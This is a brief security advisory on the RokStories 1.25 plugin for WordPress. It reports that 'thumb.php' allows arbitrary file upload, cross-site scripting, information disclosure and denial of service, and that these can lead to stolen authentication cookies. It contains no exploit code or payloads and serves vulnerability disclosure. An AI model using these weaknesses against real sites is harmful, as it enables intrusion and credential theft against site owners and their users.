WordPress RokStories Plugin 'thumb.php' Multiple Security Vulnerabilities
The RokStories plugin for WordPress is prone to multiple security vulnerabilities, including:
1. An arbitrary file-upload vulnerability
2. A cross-site scripting vulnerability
3. An information-disclosure vulnerability
4. A denial-of-service vulnerability
Attackers can exploit these issues to obtain sensitive information, upload arbitrary files, perform a denial-of-service attack, execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
RokStories 1.25 is vulnerable; other versions may also be affected.
